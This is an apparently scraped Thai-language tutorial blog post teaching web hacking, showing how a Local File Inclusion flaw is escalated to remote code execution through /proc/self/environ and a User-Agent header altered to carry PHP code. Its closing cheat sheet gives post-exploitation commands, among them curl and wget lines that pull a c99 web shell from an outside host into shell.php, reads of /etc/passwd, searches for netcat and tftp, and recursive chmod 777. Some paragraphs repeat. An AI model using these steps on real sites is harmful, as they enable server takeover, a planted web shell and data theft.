เรียนรู้สถานะการณ์ HACKER แฮกเว็บด้วยภาษาบ้านๆ
บทความนี้อธิบายเพียงเล็กน้อยเกี่ยวกับช่องโหว่ของเว็บไซต์
พื้นฐานอย่าง Local file Inclusion (LFI) คู่กับ Remote Code Execution (RCE)
หลายๆคนที่เซิสอ่านเรื่อง LFI คงเคยเจอกันมาบ้างแล้วนั่นคือ LFI-RCE (proc/self/environ)
สรุปสั้นๆเพื่อสร้างความเข้าใจกับผู้เริ่มต้น
Local File Inclusion (LFI)
ช่องโหว่นี้ทำให้ HACKER สามารถเรียกอ่านเนื้อหาไฟล์ต่างๆภายในเว็บไซต์ได้
proc/self/environ
ที่อยู่นี้ให้มองว่าเป็นไฟล์หนึ่งของ ระบบปฏิบัติการ Linux ที่ทำให้สามารถ
ฝังโค้ด หรือ สามารถโจมตีเพื่อรันโค้ด PHP จากไฟล์นี้
อื่นๆอีกมาก ที่อาจเป็นได้ในกรอบของการโจมตีแบบ LFI TO RCE
เช่น ( access.log
/error.log
/var/log/messagesvar
/log/mysql.log
/var/log/user.log
etc. )
อื่นๆอีกมาก ที่อาจเป็นได้ในกรอบของการโจมตีแบบ LFI TO RCE
เช่น ( access.log
/error.log
/var/log/messagesvar
/log/mysql.log
/var/log/user.log
etc. )
สาเหตุเพราะการแสดงข้อมูลที่มี User-Agent หรือข้อมูลใดใด ของฝั่งผู้ใช้ บนไฟล์นี้
หมายความว่า.....
หาก HACKER เจอช่องโหว่ LFI แล้ว
หมายความว่า.....
หาก HACKER เจอช่องโหว่ LFI แล้ว
ก็ทำการค้นหา (Traversal path) (ตามภาพ) จนพบที่อยู่ของ proc/self/environ
และทำการโจมตีต่อด้วย Remote Code Execution (RCE)
คือการโจมตีด้วยการใช้คำสั่งอย่าง ls , pwd , บลาๆจากการระยะไกลได้
จากภาพหลายคนที่สงสัยว่า ../../../../../../ คืออะไร ?
คำตอบ : ก็คือวิธีการที่เรียกว่า Traversal path
เปรียบเหมือนการกด BACK กลับ ...ขณะที่เราเปิด folder บน Windows
เพื่ออ้างถึงที่อยู่ของไฟล์ที่แท้จริง
คือการโจมตีด้วยการใช้คำสั่งอย่าง ls , pwd , บลาๆจากการระยะไกลได้
จากภาพหลายคนที่สงสัยว่า ../../../../../../ คืออะไร ?
คำตอบ : ก็คือวิธีการที่เรียกว่า Traversal path
เปรียบเหมือนการกด BACK กลับ ...ขณะที่เราเปิด folder บน Windows
เพื่ออ้างถึงที่อยู่ของไฟล์ที่แท้จริง
หลังจากนั้น HACKER จะทำการฝังโค้ดลงไป
ด้วยการที่ HACKER จะสามารถเปลี่ยนค่า User-Agent
จากข้อมูลที่ Browser ส่งออกไปติดต่อกับฝั่งเว็บ จากเดิม
ให้เป็นโค้ด PHP โดย HACKER จะใช้ปลั๊กอินของ Firefox ชื่อ Live HTTP Header
จากข้อมูลที่ Browser ส่งออกไปติดต่อกับฝั่งเว็บ จากเดิม
ให้เป็นโค้ด PHP โดย HACKER จะใช้ปลั๊กอินของ Firefox ชื่อ Live HTTP Header
https://addons.mozilla.org/en-us/firefox/addon/live-http-headers/
หรือ User agent Switcher
https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/
หรือ User agent Switcher
https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/
คลิปตัวอย่างการโจมตี
ส่วนท้ายสุดต่อไปเป็นคำสั่งพื้นฐานที่ใช้บ่อยๆเล็กๆน้อยๆ
ครับสำหรับคนที่ทำ LFI TO RCE สำเร็จ
ครับสำหรับคนที่ทำ LFI TO RCE สำเร็จ
คำสั่งแรกที่ใช้ : uname -a ( -a ก็คือ ALL )
เพื่อที่จะแสดงข้อมูลของระบบทั้งหมดตามด้านล่างนี้
-s, --kernel-name print the kernel name-n, --nodename print the network node hostname
-r, --kernel-release print the kernel release
-v, --kernel-version print the kernel version
-m, --machine print the machine hardware name
-p, --processor print the processor type or "unknown"
-i, --hardware-platform print the hardware platform or "unknown"
-o, --operating-system print the operating system
whoami / ฉันคือใคร ?
pwd / ฉันอยู่ที่ไหน ? - print working directory
cd ~ / ย้ายไปยังไดเรกทอรี่หลักของ user home/username
cd .. / ถอยกลับไปยังไดเรกทอรีหลักของไดเรกทอรีปัจจุบัน
cd /home/httpd/vhost/akone/basichack / ย้ายไปยังไดเรกทอรี่ /home/httpd/vhosts/akone/basichack/
cat /etc/passwd // แสดงเนื้อหาของไฟล์ /etc/passwd
cat "text" > myfile.txt / cat "text" ไปเขียนทับเนื้อหาเดิมในไฟล์ myfile.txt
cat file1.txt file2.txt / ดูเนื้อหาในไฟล์ 1.txt ต่อท้ายด้วย 2.txt ในทีเดียว
cat file1.txt file2.txt > output.txt / ถ้าผลลัพธ์มันยาว เราก็จะใช้ > ให้เขียนลงไฟล์ใหม่ชื่อ Output.txt
ls -la // แสดงรายชื่อไฟล์,โฟล์เดอร์ และรายละเอียด
curl -o shell.php http://www.test.com/c99.txt
//หากมีการใช้งาน curl ก็สามารถอัพโหลดไฟล์ชื่อ shell.php โดยใช้เนื้อหาจาก c99.txt
wget http://www.test.com/c99.txt -o shell.php
// หรือใช้ wget เนื้อหาจาก c99.txt มาเก็บไว้ใน shell.php ณ.ไดเรกทอรี่ปัจจุบัน
more /etc/passwd // อ่านเนื้อหาของแฟ้ม /etc/passwd
mkdir pentest // สร้างไดเรกทอรี่ใหม่ชื่อ pentest
cp // Copy file
เช่น cp /home/public_html/file-copy.txt /home/public_html/forums/file-paste.php
find / -name config.php // ใช้ค้นหาแฟ้ม config.php ในทุก directory
find / -name hello* // ใช้ค้นหาแฟ้มที่ขึ้นต้นด้วยคำว่า hello
::: orther :::
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
chmod 777 file.php // Set permission 777 ให้ไฟล์ file.php ในไดเรกทอรี่ที่เราอยู่
chmod 777 * -Rf // Set permission 777 ให้ทุกไฟล์ และในทุกไดเรกทอรี่ย่อยจากปัจจุบัน
netstat > output.txt // เช็ค ip ที่ติดต่อกับเซิฟเวอร์ เหมือนบน windows
[see file] www.example.com/path/output.txt
chown ak1:users X // เปลี่ยนเจ้าของของแฟ้ม X ให้เป็น ak1 และอยู่ในกลุ่มของ users
chgrp users X // เปลี่ยนกลุ่มของแฟ้ม X ให้เป็นกลุ่มของ users
[lif] google dork list : http://pastebin.com/1gdZt6zY